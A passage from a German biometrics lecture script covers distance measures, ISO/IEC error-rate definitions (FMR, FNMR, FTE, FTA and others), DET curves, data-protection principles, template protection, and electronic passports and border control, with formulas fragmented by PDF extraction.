Für das gegebene Beispiel werden die beiden Vektoren repärsentiert durch
!
!
!
!
r
2
q
6
Q= 1 =
, und R = 1 =
2
r2
5
q2
14
15
s für similarity score
die P-norm ist auch als Minkowski-Metrik bekannt
74
Abbildung 6.25: 2D Merkmalsraum mit Probe Q und Referenz R
Für unser Beispiel aus Abbildung 6.25 erhalten wir für die euklidische Norm
v
u n
uX
t
|x |2
i
i=1
=
v
u 2
uX
t
|q
i
− ri | =
q
|q1 − r1 |2 + |q2 − r2 |2
i=1
q
|6 − 2|2 + |5 − 2|2
√
=
42 + 32
√
=
25
= 5
=
6.4.3 Vergleich von Binärvektoren
Bei einigen biometrischen Verfahren wird bei Merkmalsextraktion direkt ein Binärvektor berechnet. Ein Beispiel dafür ist das oben dargestellte LBP-Verfahren. Auch
in der Iriserkennung wird die biometrische Charakteristik in der Datenbank durch
eine sogenannten Irisicode als binären Referenzvektor hinterlegt.
Das Vergleichsverfahren ist für diesen Fall besonders einfach und berechnet mit
dem logischen XOR die Anzahl der Bit-Positionen, die zwischen Probencode codeQ
und Referenzcode codeR unterschiedlich gesetzt sind. Die fraktionierte Hammingdistanz HD in Gleichung 6.13 berücksichtigt zudem nur diejenigen Bereiche aus dem
Binärcode, die auch als verwendbar markiert wurden. Bereiche, in denen zum Beispiel
das Augenlid das Irismuster bedecken sind ausmaskiert. Dazu erfolgt in Gleichung
6.13 eine logische Verschneidung mit maskQ und maskQ.
| (codeQ ⊗ codeR) ∩ maskQ ∩ maskR |
(6.13)
| maskQ ∩ maskR |
Die fraktionierte Hammingdistanz ist besonders effizient umzusetzen, da die Operation auch für große Referenzdatenbanken hardwarenah schnell durchgeführt werden
kann.
HD =
75
6.5 Biometrische Erkennungsleistung
Hier werden die Grundlagen der Erkennungsleistung von Algorithmen und biometrischen Systemen betrachtet. Wichtig ist auch, wie die Ergebnisse graphisch aufbereitet
werden.
Bei der Erfassung und Verarbeitung von biometrischen Samples können vielfältig
Fehler auftreten, die wir als Fehler des Algorithmus oder Fehler des biometrischen
Systems kategorisieren können. Was sind die Ursachen dieser Fehler? In der Regel
wurde eine der geforderten Eigenschaften, die biometrisches Charakteristikum haben
sollte verletzt, oder der Sensor liefert nicht ausreichend gute Sample oder der eingesetzte Algorithmus ist nicht in der Lage, die Merkmalvektoren zu verarbeiten. Hier
ein paar Beispiele:
• Verbreitung - Individuen mit Hautkrankeiten haben keinen Fingerabdruck
(verursacht einen failure-to-enrol error).
• Einzigartigkeit - Merkmalvektoren von zwei unterschiedlichen Individuen
sind so ähnlich, dass der Algorithmus nicht trennen kann (verursacht einen
false-match-error)
• Beständigkeit - Hohe Luftfeuchtigkeit oder kalte Temperaturen führen zu
Fingerabdruck-Samples in schlechter Qualität?(verursacht einen failure-tocapture-error)
In den Kapiteln 6.5.3 bis 6.5.5 diskutieren wir die Fehler, die bei der Erstellung
einer biometrischen Referenz im Enrolmentprozess auftreten können. Die Kapitel
6.5.7 bis 6.5.8 diskutieren Fehler, die wir dem biometrischen Verifikationsprozess
zuordnen, sowie die graphische Darstellung der Erkennungsleistung.
6.5.1 Algorithmenfehler
Zur Abschätzung der Algorithmenfehler für jedes der m Indivduen, die in Referenzdatenbank aufgenommen werden sollen, sind n biometrische Sample notwendig. In
einem Technologie-Test müssen pro biometrischer Instanz (ein Finger, ein Gesicht)
mindestens n = 2 Sample vorliegen. Auf Basis der erfolgreich erzeugten Merkmalsvektoren kann dann die Genauigkeit eines biometrischen Algorithmus bestimmt werden.
Zuvor müssen wir aber noch zwei Begriffe klären:
Imposter Vergleich: Vergleich von einer biometrischen Probe und einer biometrischen Referenz von unterschiedlichen Betroffenen Personen als Teil eines
Test der Erkennungsleistung16 .
16
Der korrekte engl. Begriff für einen Imposter Vergleich ist biometric non-mated comparison trial
und ist definiert http://www.christoph-busch.de/standards.html#370902
76
Genuine Vergleich: Vergleich einer biometrischen Probe und einer biometrischen Referenz von ein und derselben Betroffenen Person und derselben biometrischen
Charakteristik als Teil eines Test der Erkennungsleistung17 .
False-Match
Bei einer Falschübereinstimmung (engl. False-Match) stellt man eine Vergleichsentscheidung fest hinsichtlich einer Übereinstimmung einer biometrischen Probe und
einer biometrischen Referenz, die von verschiedenen erfassten Betroffenen Personen
stammen. Für einige Imposter-Vergleiche tritt also der unerwünschte Fall ein, dass
die Probe des Imposters zu einer Referenz einer anderen eingelernten Person ähnlich
ist. Derzeit gibt es zwei ISO/IEC Definition für die False-Match-Rate (FMR). Die
ursprüngliche Definition im Standard ISO/IEC 19795-1:2006 Biometric Performance
Testing [ISO06] und die neuere Definition aus ISO/IEC 2382-37 [ISO12]:
False-Match-Rate (ISO/IEC 19795-1): proportion of zero-effort impostor attempt
samples falsely declared to match the compared non-self template.
False-Match-Rate (ISO/IEC 2382-37): proportion of the completed biometric nonmated comparison trials that result in a comparison decision of "match"for a
biometric probe and a biometric reference that are from different biometric
capture subjects.
Abbildung 6.26: Idealisierte Verteilungsdichte Imposter-Vergleiche (rot) und GenuineVergleiche (grün) für einen gewählten Schwellwert t.
17
Der korrekte engl. Begriff für einen Genuine Vergleich ist biometric mated comparison trial und
ist definiert http://www.christoph-busch.de/standards.html#370901
77
Um die F M R unter Variation eines Schwellwert t abzuschätzen analysieren wir
die Verteilungsdichten der Imposter-Vergleiche und Genuine-Vergleiche in Abbildung
6.26 und berechnen:
F M R(t) =
Z 1
t
Φi (s)ds
(6.14)
Gemeinsam mit der False-Non-Match-Rate (FNMR) ist die F M R eine der wichtigsten Metriken, um die Leistung von biometrischen Algorithmen zu bewerten und
die Sicherheitseigenschaften eines biometrischen Algorithmus zu beschreiben. Wie in
Gleichung 6.14 erkennbar, wird die F M R jeweils für eine ausgewählten Schwellwert t
bestimmt. Ein zu niedriger Schwellwert führt zu einem unsicheren System mit hoher
F M R. Wie die Abbildung zeigt, erhalten wir für den Extremwert t = 0 sicher eine
False-Match-Rate von 1.
Abbildung 6.27: Zusammenhang der F M R und F N M R in einem biometrischen
System.
Leider wird in der Literatur bei der Evaluierung von Algorithmen of fälschlicher
Weise der Begriff False-Accept-Rate verwendet, wenn die F M R gemeint ist.
6.5.2 False-Non-Match
Bei einer Falschnichtübereinstimmung (engl. False-Non-Match) stellt man eine Vergleichsentscheidung fest hinsichtlich einer Nicht-Übereinstimmung einer biometrischen
Probe und einer biometrischen Referenz, die von der selben zu erfassenden Betroffenen
Person und von dem selben biometrischen Charakteristikum (zum Beispiel von demselben Daumen) stammen. Für einige Genuine-Vergleiche tritt also der unerwünschte
Fall ein, dass die Probe der eingelernten Person nicht zu der vorhandenen Referenz in
der Enrolmentdatenbank ähnlich ist. Derzeit gibt es zwei ISO/IEC Definition für die
False-Non-Match-Rate (FMR). Die ursprüngliche Definition im Standard ISO/IEC
19795-1:2006 Biometric Performance Testing [ISO06] und die neuere Definition aus
ISO/IEC 2382-37 [ISO12]:
78
False-Non-Match-Rate (ISO/IEC 19795-1): proportion of genuine attempt samples falsely declared not to match the template of the same characteristic from
the same data subject supplying the sample.
False-Non-Match-Rate (ISO/IEC 2382-37): proportion of the completed biometric
mated comparison trials that result in a false comparison decision of "nonmatch"for a biometric probe and a biometric reference that are from the same
biometric capture subject and of the same biometric characteristic.
F N M R(t) =
Z t
0
Φg (s)ds
(6.15)
Gemeinsam mit der False-Match-Rate (FMR) ist die F N M R eine der wichtigsten
Metriken, um die Leistung von biometrischen Algorithmen zu bewerten. Die F N M R
wird dabei in erster Linie mit der Benutzbarkeit assoziiert. Wie in Gleichung 6.15
erkennbar, wird die F N M R jeweils für eine ausgewählten Schwellwert t bestimmt.
Ein zu hoher Schwellwert führt zu einem nicht benutzbaren System mit hoher
F N M R. Wie die Abbildung zeigt, erhalten wir für den Extremwert t = 1 sicher eine
False-Non-Match-Rate von 1. Leider wird in der Literatur bei der Evaluierung von
Algorithmen of fälschlicher Weise der Begriff False-Reject-Rate verwendet, wenn die
F N M R gemeint ist.
6.5.3 Failure-to-Capture
Ein Erfassungsfehlfunktion18 (engl. Failure-to-Capture) wird festgestellt, wenn der
Versuch, ein biometrisches Sample in ausreichender Qualität zu erzeugen, nicht
erfolgreich gewesen ist. Dafür kann es folgende Gründe geben:
1. Das Sample wurde nicht erzeugt, weil die biometrische Charakteristik nicht
richtig präsentiert wurde (z.B. hat der Finger die Sensor-Fläche nicht oder nur
teilweise berührt).
2. Das erfasste biometrische Sample wird durch einen Algorithmus zur automatischen Qualitätskontrolle abgelehnt.
Nach dem internationalen Standard ISO/IEC 2382-37 [ISO12] kann die Failure-toCapture Rate (FTC) definiert werden als:
Failure-to-Capture Rate: proportion of failures of the biometric capture process to
produce a captured biometric sample that is acceptable for use.
Um die F T C abzuschätzen kann folgende Formel verwendet werden:
FTC =
18
Ntca + Nnsq
Ntot
(6.16)
Failure-to-Capture ist definiert http://www.christoph-busch.de/standards.html#370905
79
wobei Ntca die Anzahl der nicht abgeschlossenen Erfassungsversuche ist und Nnsq
die Anzahl der erzeugten Bilder, die von der automatischen Qualitätskontrolle als
unzureichend eingestuft wurden. Ntot ist die Gesamtzahl der Erfassungsversuche, die
initiiert wurden. Im operationellen Betrieb wird nach einem Failure-to-Capture ein
neuer Erfassungsversuch initiiert. Dies ist wird in Abbildung 6.28 dargestellt.
Abbildung 6.28: Failure-to-Capture (FTC)
6.5.4 Failure-to-eXtract
Ein Merkmalsextraktionsfehler (engl. Failure-to-eXtract) wird festgestellt, wenn der
Merkmalsextraktionsprozess nicht in der Lage war, aus dem biometrische Sample ein
biometrisches Template zu erzeugen. Dafür kann es folgende Gründe geben:
1. Der Algorithmus kann aus dem Bildsignal keine Merkmale extrahieren. Dies
kann zum Beispiel daran liegen, dass ein Fingerbild zwar in guter Qualität
vorliegt, aber die dargestellte Oberfläche des Fingers zu klein ist, oder der Kern
des Fingerbildes außerhalb des dargestellten Fingerabdruckes liegt und somit
keine Ausrichtung des Bildes möglich sein wird.
2. Die Verarbeitungsdauer überschreitet das Zeitlimit und der Merkmalextraktionsprozess wird terminiert.
80
Gegenwärtig gibt es noch keine ISO/IEC Definition für die F T X 19 . Um die F T X
abzuschätzen verwenden wir die folgende Formel:
FTX =
Nngt
Nsub
(6.17)
wobei Nngt die Anzahl der Versuche ist, in denen kein Template erzeugt werden
konnte und Nsub die Gesamtzahl der biometrischen Samples ist, auf welche die
Merkmalsextraktion angewendet wurde. Im operationellen Betrieb ist nach einem
Failure-to-eXtract ein neuer Erfassungsversuch einschließlich der Erstellung eines
neuen biometrischen Samples und die nachfolgende Verarbeitung notwendig. Dies ist
in Abbildung 6.29 dargestellt.
Abbildung 6.29: Failure-to-eXtract (FTX)
6.5.5 Failure-to-Enrol
Eine Enrolmentfehlfunktion20 (engl. Failure-to-Enrol) wird festgestellt, wenn das
biometrische System nicht in der Lage war für eine zu erfassende Person einen
Enrolmentdatensatz zu erzeugen. Dafür kann es folgende Gründe geben:
1. Die biometrische Charakteristik der betroffenen Person kann gar nicht erfasst
werden, zum Beispiel weil vom Finger einer Person wegen Hautkrankheiten
kein Fingerbilder erzeugt werden kann.
19
In der Revision von ISO/IEC 19795-1 wird die Failure-to-eXtrac Rate (FTX) vermutlich enthalten
sein
20
Failure-to-Enrol ist definiert http://www.christoph-busch.de/standards.html#370906
81
2. Es konnten zwar Templates erzeugt werden, die jedoch den Regeln des EnrolmentProzesses nicht genügen. Beispielsweise werden aus einem Fingerbild wiederholbar Minutien extrahiert, die Anzahl der Minutien erreicht aber nicht die untere
Grenze von 12 Minutien als Minimum nach ISO/IEC 19794-2 [ISO11b].
Derzeit gibt es zwei ISO/IEC Definition für die Failure-to-Enrol Rate (FTE). Die
Failure-to-Enol Rate (ISO/IEC 19795-1): proportion of the population for whom
the system fails to complete the enrolment process.
Failure-to-Enrol Rate (ISO/IEC 2382-37): proportion of a specified set of biometric enrolment transactions that resulted in a failure to create and store a
biometric enrolment data record for an eligible biometric capture subject, in
accordance with a biometric enrolment policy.
Um die F T E abzuschätzen kann folgende Formel verwendet werden:
FTE =
Nnec
N
(6.18)
wobei Nnec die Anzahl der Enrolmentfehlfunktionen für Individuen ist,?deren biometrische Charakteristika nicht erfasst werden können und N die Gesamtzahl der
natürlichen Personen, die in der Enrolmendatenbank aufgenommen werden sollen. Im
operationellen Betrieb ist die Folge einer Enrolmentfehlfunktion, dass der betroffenen
Person ein Ausweich-Verfahren (engl. fallback procedure) in nicht-diskriminierender
Weise angeboten werden muss. Die Failure-to-Enrol Situation ist in Abbildung 6.30
dargestellt.
6.5.6 Failure-to-Acquire
Eine Akquisitionsfehlfunktion21 (engl. Failure-to-Acquire) wird festgestellt, wenn das
Ergebnis des biometrischen Erfassungsprozess nicht für den biometrischen Vergleich
verwendet werden kann. Dafür kann es folgende Gründe geben:
1. Es konnte kein biometrisches Sample erzeugt werden, was durch die F T C
ausgedrückt wird.
2. Der Merkmalsextraktionsprozess oder die Anzahl und Qualität der berechneten
Merkmale war ist nicht ausreichend. Dies wird durch F T X ausgedrückt.
Derzeit gibt es zwei ISO/IEC Definition für die Failure-to-Acquire Rate (FTA). Die
21
Failure-to-Acquire ist definiert http://www.christoph-busch.de/standards.html#370903
82
Abbildung 6.30: Failure-to-Enrol (FTE)
Failure-to-Acquire Rate (ISO/IEC 19795-1): proportion of verification or identification attempts for which the system fails to capture or locate an image or
signal of sufficient quality.
Failure-to-Acquire Rate (ISO/IEC 2382-37): proportion of a specified set of biometric acquisition processes that were failure to accept for subsequent comparison
the output of a data capture process.
Um die F T A abzuschätzen kann folgende Formel verwendet werden:
F T A = F T C + F T X ∗ (1 − F T C)
(6.19)
6.5.7 Verification System Performance
Die Abschätzung der Leistung eines Verifikations-Systems basiert auf biometrischen Transaktionen, die mehrfache Versuche erlauben. Die relevante Metrik für
Verifikations-Systeme sind die False-Accept-Rate (FAR) und die False-Reject-Rate
(FRR). The ISO/IEC Definition [ISO06] für beide Metriken ist wie folgt:
False-Accept-Rate (ISO/IEC 19795-1): proportion of verification transactions with
wrongful claims of identity that are incorrectly confirmed.
False-Reject-Rate (ISO/IEC 19795-1): proportion of verification transactions with
truthful claims of identity that are incorrectly denied.
83
Für den einfachen Fall, dass ein Verifikatons-System nur einen Versuch pro Transaktion
erlaubt, kann die FAR und FRR wie folgt abgeschätzt werden:
F AR = F M R ∗ (1 − F T A)
(6.20)
F RR = F T A + F N M R ∗ (1 − F T A)
(6.21)
und
Sofern die biometrische Anwendung mit einer großen Wahrscheinlichkeit auch eine
hohe Zahl von Nicht-Nutzer hat für die ein Enrolmentfehlfunktion (engl. Failure-toEnrol) festgestellt wird, kann die Erkennungsleistung mit den Gleichungen 6.20 und
6.21 nicht ausreichend abgeschätzt werden, da die Referenzdatenbank unvollständig
ist und die “schwierigen Fälle” gerade nicht enthält. Für diese Situation sind die
generalisierten Systemfehlerraten GF AR und GF RR passender:
GF AR = F M R ∗ (1 − F T A) ∗ (1 − F T E)
(6.22)
und
GF RR = F T E + (1 − F T E) ∗ F T A + (1 − F T E) ∗ (1 − F T A) ∗ F N M R (6.23)
6.5.8 Graphische Darstellung der Erkennungsleistung
Für eine objektive vergleichende Bewertung von Algorithmen und Systemen muss
man die Erkennungsleistung nicht nur an einem Schwellwert kennen sondern möglichst
über die gesamte Breite der Variation des Schwellwertes von 0 bis 1.
Abbildung 6.31: Graphische Darstellung der Erkennungsleistung: ROC-Kurve (links)
und DET-Kurve (rechts)
Zeichnet man dann für den jeweiligen Schwellwert die F N M R über der F M R auf,
so entsteht eine Detection-Error-Trade-off-Curve (DET), wie sie in Abbildung 6.31
84
6.6 Privacy Enhance Technology
rechts dargestellt ist. Einige Publikationen tragen statt der F N M R die GenuineMatch-Rate (GMR) über der F M R auf. Die GM R ergibt sich einfach aus
GM R(t) = 1 − F N M R(t)
(6.24)
Möchte man nun verschiedene Testergebnisse vergleichend darstellen, so wird man
die DET-Kurven gemeinsam darstellen, wie das in Abbildung 6.32 gezeigt wird.
Abbildung 6.32: DET-Kurven für verschiedene biometrische Algorithmen, Bildquelle
ISO/IEC 19795-1[ISO06]
Bei der Suche nach dem “besten” Algorithmus kann man nun für einen zum Beispiel
durch die Sicherheitspolitik des Unternehmens vorgegebenen sicheren Arbeitspunkt
von F M R =0,01% den Algorithmus mit der niedrigsten F N M R auswählen.
Hier werden die Grundlagen von Datenschutz und Privacy-Anforderungen an biometrische Systemen betrachtet.
6.6.1 Datenschutz Richtlinien und Verordnungen mit Bezug zur
Biometrie
Die Kultur des Datenschutzes unterscheidet sich in Deutschland und Europa ganz
wesentlich von anderen Staaten. Während in Europa das Prinzip gilt, dass eine
betroffene Person auch immer Eigentümer seiner Daten ist, wurde zum Beispiel in
den USA eine Kultur entwickelt, nach der eine Organisation, die Daten sammelt (z.B.
die US-Visit Daten an der Grenze) dieser Organisation und nicht dem Reisenden
85
gehören. Grundprinzipien des Datenschutzes wurde bereits in vorderen Kapiteln
diskutiert. In diesem Kapitel wollen wir den Bezug zu biometrischen Systemen
herstellen.
Das Council of Europe hat 1981 mit seiner Convention 108 zu Protection of Individuals with regard to Automatic Processing of Personal Data [Cou81] die wesentlichen
Konzepte definiert, die auch in dieser Form 1995 in die noch geltende Datenschutzrichtlinie On the protection of individuals with regard to the processing of personal
data and on the free movement of such data [EE95] übernommen wurden.
personal data: means any information relating to an identified or identifiable
individual ("data subject").
automatic processing: includes the following operations if carried out in whole or
in part by automated means: storage of data, ... retrieval or dissemination;.
controller of the file: means the natural or legal person, public authority, agency or
any other body who is competent according to the national law to decide what
should be the purpose of the automated data file, ... which operations should be
applied to them..
Biometrische Daten in jedweder Form (biometrisches Sample, Template) sind
klar personenbezogene Daten. Darüber hinaus können diese Daten sensitive Daten
darstellen. Sensitive Daten erfordern besondere Aufmerksamkeit und Sorgfalt. Personenbezogene Daten werden dann als sensitiv eingestuft, wenn sie einer (oder mehreren)
Kategorien der folgenden Liste zuordenbar sind.
• Ethnischer Ursprung
• Politische Meinung
• Religiöser oder philisophischer Glaube
• Gewerkschatsmitgliedschaft
• Daten zur Gesundheit oder zum Sexualleben
Da biometric Samples oft auch zusätzliche Informationen unter anderem zur Gesundheit der betroffenen Person preisgeben könnten, ist der Schutz biometrischer Daten
durch sogenannte Privacy-Enhancing-Technology (PET) besonders wichtig, den wir
im folgenden Kapitel behandeln werden. Vorab wollen wir die wichtigsten in der
Datenschutzrichtlinie verankerten Prinzipien und deren Bedeutung für biometrische
System kennenlernen:
Proper processing basis: must exists (Art. 7.a and .c). For example a data subject
has unambiguosly given consent or the application and collection of biometric
data is in compliance with legal regulations.
86
Purpose binding: finality principle (Art. 6.b). Personal data may be used only for
the purpose they were originaly collected for.
Proportionality: in relation to interference (Art. 6.c) personal data must be adequate,
relevant and not excessive in relation to the purposes for which they are collected
process is necessary to fulfill the purpose of the system..
Data minimizationy: principle (Art. 6.e). data to be deleted or anonymized as soon
as possible: data must be kept ... for no longer than is necessary for the purposes
for which the data were collected ..
Transparency: principle (Art. 10.a+c and Art. 12). It needs to be transparent for
the data subject when and which data are collected and processed and for which
purposes data subjects should be informed, who is collecting their data.
Protection: principle of sensitive personal data (Art. 8). Processing of sensitive
data (e.g. concerning health) prohibited.
Safeguard: principle - Security of processing (Art. 17) controller must implement appropriate technical and organizational measures to protect personal data against
accidental or unlawful destruction or accidental loss, alteration, unauthorized
disclosure or access.
Weiters relevant ist die Information einer Person sowie das Zugriffsrecht auf die
Daten einerPperson (Art. 10 and 12): Guarantee to every data subject the right to
obtain:
• confirmation as to whether or not data relating to him are being processed and
.... to whom the data are disclosed,
• communication to him in an intelligible form of the data undergoing processing
and of any available information as to their source,
• knowledge of the logic involved in any automatic processing,
• erasure or blocking of data,
• notification to third parties to whom the data have been disclosed of any rectification, erasure or blocking carried out.
6.6.2 Biometric Template Protection Verfahren
Die Entwicklung von Verfahren, die technischen Datenschutz und biometrische Erkennung verbindet, hat in den letzten Jahren eine große Bedeutung erlangt. Vormals
wurde in Diskussionen um den Datenschutz von Biometrischen Systemen oft geäußert
"Biometrische Verfahren sind aus Sicht des Datenschutzes schlecht für die betroffene
Person, weil die Referenzdaten im Zweifelsfalls nicht zurückgerufen werden können.
87
Der Mensch hat nun mal nur ein Gesicht, er hat nur zehn Finger, er hat nur zwei
Iriden". Der zweite Teil der Aussage ist unstrittig richtig, wir haben für die aufgezählten biometrischen Charakteristika die genannte Anzahl der Instanzen. Der erste Teil
der Aussage zur Datensicherheit der Referenzdaten in einem Token oder in einem
Datenbank-Record ist jedoch unter Berücksichtung der aktuellen Forschungsarbeiten
[BBGK08] auf diesem Gebiet zu revidieren.
Unverändert richtig ist die Annahme, dass biometrische Samples im Sinne unseres Datenschutzverständnisses personenbezogene Daten sind, die einem besonderen
Schutz zu unterwerfen sind. Aus Sicht des Datenschutzes werden oft Verifikationssysteme und zudem eine Speicherung der Referenzdaten auf einem Token bevorzugt.
Ist jedoch eine Speicherung in einer zentralen Datenbank erforderlich, so werden
mit der Speicherung von Samples in einer Datenbank einige potentielle Probleme
assoziiert: Diese reichen vom Identitätsdiebstahl (beim Zugriff auf Bilddaten) und
der damit einhergehende Wunsch, gespeicherte Referenzdaten zurückrufen zu können,
über die Gefahr des Cross-Matching (Datenbank-Administratoren könnten durch
Abgleich der Datensätze Querbezüge herstellen) bis hin zur Thematik der Zusatzinformation (die potentiell als medizinische Überschussinformation aus den Bilddaten
auslesbar ist). Zur Lösung dieser Probleme gibt es einen sehr viel versprechenden
Forschungstrend, der als Template Protection bezeichnet wird [BBGK08][RU11] und
der das Speichern von Bild- oder Templatedaten in einer Datenbank entbehrlich
macht. Die Vorgehensweise ist angelehnt an die Absicherung von Passwortdaten
in einem Unix-System. Bei der Unix-Authentisierung ist es nicht so, dass das von
einem Nutzer verwendete Passwort im Klartext im System (oder in einer Datenbank) gespeichert wird. Vielmehr wird bei der Einrichtung eines Nutzeraccounts
(Enrolment) unter Verwendung einer Einwegfunktion (Hashfunktion) ein Hashwert
berechnet. Die Funktion hat die Eigenschaft, dass sie nicht invertierbar ist, d.h.
aus dem Hashwert lässt sich das Passwort nicht zurückrechnen. Zudem werden nur
solche Einwegfunktionen eingesetzt, die kollisionsfrei sind, d.h. es gibt nicht (bzw.
nur mit sehr geringer Wahrscheinlichkeit) zwei Eingabestrings (Passwörter), für die
sich derselbe Hashwert berechnet. Die Hashwerte für alle Nutzer werden in einer
öffentlich zugänglichen Datei (/etc/paswd) gespeichert. Wenn der Nutzer sich erneut
authentisieren möchte, wird wiederum von dem Input ein Hashwert gebildet, welcher
dann mit dem in der Tabelle hinterlegten Hashwert verglichen wird. Analog kann
das Verfahren zum Schutz von Templates ablaufen. Biometrische Samples und damit
auch Merkmalvektoren sind allerdings - im Unterschied zu den Passwort-Datensätzen
- mit einem Rauschen belegt. Dies ist durch die Variation der Umwelteinflüsse (z.b.
Lichtverhältnisse) aber auch durch die Variation der biometrischen Charakteristik selbst (z.B. Alterung) bedingt. Aus diesem Grunde müssen die im Template
gespeicherten Merkmale noch einmal gefiltert werden, um eindeutige Datensätze
reproduzieren zu können. Anschaulich kann man diese Filterung als Quantisierung
des Merkmalvektors verstehen, bei dem für ein bestimmtes Merkmal verschiedene
Wertebereiche jeweils auf einen Mittelwert abgebildet werden. Für die berechneten
quantisierten Merkmale wird eine Qualitätsprüfung vorgenommen, um die Robustheit
des Verfahrens sicherzustellen. Das bedeutet, dass nur diejenigen stabilen Merkmale
88
6.7 Biometrische Anwendungen
weiterverarbeitet werden, die auch wiederholt mit dem gleichen Mittelwert berechnet
wurden. Um die Erneuerbarkeit des Vektors herzustellen, werden anschließend aus
dem Merkmalvektor einzelne Komponenten selektiert, wobei die Selektionsfunktion
durch ein Gütekriterium zur Beurteilung der einzelnen Merkmale oder auch durch
ein Geheimnis gesteuert werden kann. Über den verbleibenden reduzierten Vektor
wird der Hashwert berechnet und in der Datenbank abgelegt. Bei einer biometrischen
Verifikation wird das präsentierte Sample nur in einem gewissen Maße ähnlich sein zu
dem Sample, das beim Enrolment verwendet wurde. Durch den geschilderten Ansatz
lassen sich jedoch die gleichen stabilen Komponenten im Merkmalvektor berechnen
und mit dem gleichen Geheimnis kann ermittelt werden, welche Komponenten für
die Hashwert-Berechnung erforderlich sind.
Zur Lösung dieser Aufgabe gibt es eine Reihe artverwandter Verfahren, die unter den begriffen Helper Data Scheme [Tuy04], Pseudo Identifier [BBGK08], Fuzzy
commitment [JW99], Cancelable Biometrics [RCB01], Biometric encryption [CS07],
Fuzzy Vault [JM02], Shielding functions [LT03] und Fuzzy extractors [DRS04] in
der Literatur zu finden sind. Ein aktueller Überblick der Verfahren zu Biometric
Template Protection ist in Rathgeb und Uhl [RU11] zu finden. Die harmonisierte
Referenzarchitektur aus Breebart et al. [BBGK08] wurde inzwischen den entsprechenden Internationalen Standard ISO/IEC IS 24745 Biometric Information Protection
integriert [ISO11a].
Hier werden die wichtigsten biometrischen Anwendungen (elektronischer Reisepass,
VIS) vorgestellt. Der elektronische Reisepasse wurde im Herbst 2005 eingeführt und
wird weltweit eingesetzt. Der neue deutsche Personalausweis hat eine ähnliche logische
Datenstruktur (LDS). Das Europäische Visainformations-System VIS wurde im Jahre
2011 gestartet. An ihm sind alle Europäischen Mitgliedsländer beteiligt.
Elektronischer Reisepass
Für den Übergang zu biometrischen Reisepässen (ePass) wurden die Rahmenbedingungen durch die International Civil Aviation Organization (ICAO) bestimmt
[Int06]. In der Umsetzung einer entsprechenden EU-Verordnung [Eur04] geben die
EU-Mitgliedsländer seit November 2005 Reise-Pässe aus, in denen das Passbild elektronisch gespeichert wird. Inzwischen werden zusätzlich auch Fingerbilder im ePass
abgespeichert. Als Speichermedium wurde für biometrische Reisepässe ein RFID-Chip
nach ISO 14443 gewählt, der im Nahbereich bis ca. 25 cm über eine kontaktlose
Schnittstelle (13,56 MHz) ausgelesen werden kann. Die Reisepässe haben in der
Regel eine Speicherkapazität von 72 Kbyte, wodurch die Speicherung von einem
Gesichtsbild (ca. 12 Kbyte) und zwei Fingerbildern (jeweils ca. 10 Kbyte) möglich ist.
Die Abbildungen werden dazu mit Standardverfahren (JPEG, JPEG2000 oder WSQ)
komprimiert. Neben den biometrischen Bilddaten werden im ePass weitere Informa-
89
tionen in einer logischen Datenstruktur elektronisch gespeichert, siehe Abbildung
6.7.
Abbildung 6.33: Logische Datenstruktur eines Reisepasses aus ICAO 9303 [Int06].
Die Abbildung zeigt die ersten und wichtigsten Datengruppen der logischen Datenstruktur. In der Datengruppe DG1 sind die Informationen enthalten, die in analoger
Form auch in der maschinenlesbaren Zone (Machine Readable Zone - MRZ) auf der
Datenseite aufgedruckt sind, wie etwa Name, Nationalität und Geburtsdatum des
Passinhabers. Die Datengruppen DG2 und DG3 enthalten die Gesichtsbilder bzw. die
Fingerbilder. Die von der ICAO für Bilder der Iris vorgesehene DG4 wird in Pässen
aus europäischen Ländern nicht benutzt. Um die Authentizität und Integrität der
gespeicherten Daten prüfen zu können sind diese mit elektronischen Signaturen gesichert. Darüber hinaus werden zwei sichere Protokolle eingesetzt, um die biometrischen
Daten zu schützen. Das Gesichtsbild wird durch ein Basis-Access-Control (BAC)
Protokoll gesichert, so dass nur bei optischem Kontakt des Passes mit einem Lesegerät
aus den Daten der MRZ ein Zugangsschlüssel abgeleitet werden kann. Fingerbilder
sind darüber hinaus durch das Extended-Access-Control (EAC) Protokoll geschützt.
Damit soll erreicht werden, dass auf die als sensitiv einzustufenden Fingerbilder nur
mittels vertrauenswürdigen Lesegeräten von vertrauenswürdigen Staaten zugegriffen
werden kann.
90
Welche Chancen in der Biometrie liegen erkennen wir an der Herausforderung
der Beschleunigung von Grenzkontrollen. Diese Thematik wird in Anbetracht des
unglaublich wachsenden Verkehrs an den Flughäfen immer wichtiger und zudem noch
verstärkt durch die neuen Flugzeugmodelle wie etwa den Airbus A380. Die australische
Regierung hat sich schon vor mehr als zehn Jahren mit dem Thema Optimierung
der Grenzprozesse befasst. Aus dieser Überlegung heraus entstand das SmartGate
Projekt, welches das Ziel verfolgt, die Prozesse einfacher, schneller und sicherer zu
gestalten. Die Analyse der Untersuchungs-Daten aus dem ersten Betriebsabschnitt
des SmartGate-Systems im Jahre 2004 hat unter anderem die Transaktionszeiten
der Biometrie-gestützten Grenzkontrolle mit den Transaktionszeiten von Reisenden
in den manuellen Abfertigungen verglichen. Das Ergebnis zeigt eine Verbesserung
von 48 Sekunden auf 17 Sekunden für eine biometrische Grenzkontrolle. Ein auf
dem ePass basierende ähnliche Implementierung einer biometrischen Grenzkontrolle
wurde im Jahre 2007 am Flughafen Faro in Protugal mit dem VBeGATE-System
umgesetzt. Eine automatisierte Grenzkontrolle unter Verwendung des elektronischen
Reisepass wird in Deutschland mit dem EasyPASS System betrieben. Der erste
EasyPASS-Pilot wrude in Frankfurt in 2009 getestet. In 2014 wurde begonnen, an
allen internationalen deutschen Flughäfen EasyPASS zu installieren. Entsprechende
Konzepte für die Seehäfen sind in Vorbereitung.
Um die Erkennungsleistung der biometrischen Gesichtserkennung zu steigern und
zudem die Überwindungssicherheit zu verbessern, wird derzeit intensiv an Verfahren
der 3D-Gesichtserkennung geforscht. Der Ansatz beruht auf einer dreidimensionalen
Vermessung des Gesichts, wobei die aus der Photogrammetrie seit langem bekannten
Multi-Kamera-Systeme eingesetzt werden können: Bei der Auswertung der Aufnahmen
wird ? bei bekannten Kamerastandpunkten ? aus einem Satz von 2D-Bildern nach
dem Triangulationsprinzip eine Tiefeninformation errechnet. Alternativ kann ein
aktives Aufnahmesystem eingesetzt werden, das aus einer aktiven Komponente mittels
Projektion farbiger Streifen oder strukturierter Muster auf das Gesicht und einem bzw.
mehreren Sensoren besteht. Das resultierende dreidimensionale Modell erlaubt eine
gegenüber der einfachen Frontalaufnahme bessere Erkennung bei Kopfrotationen oder
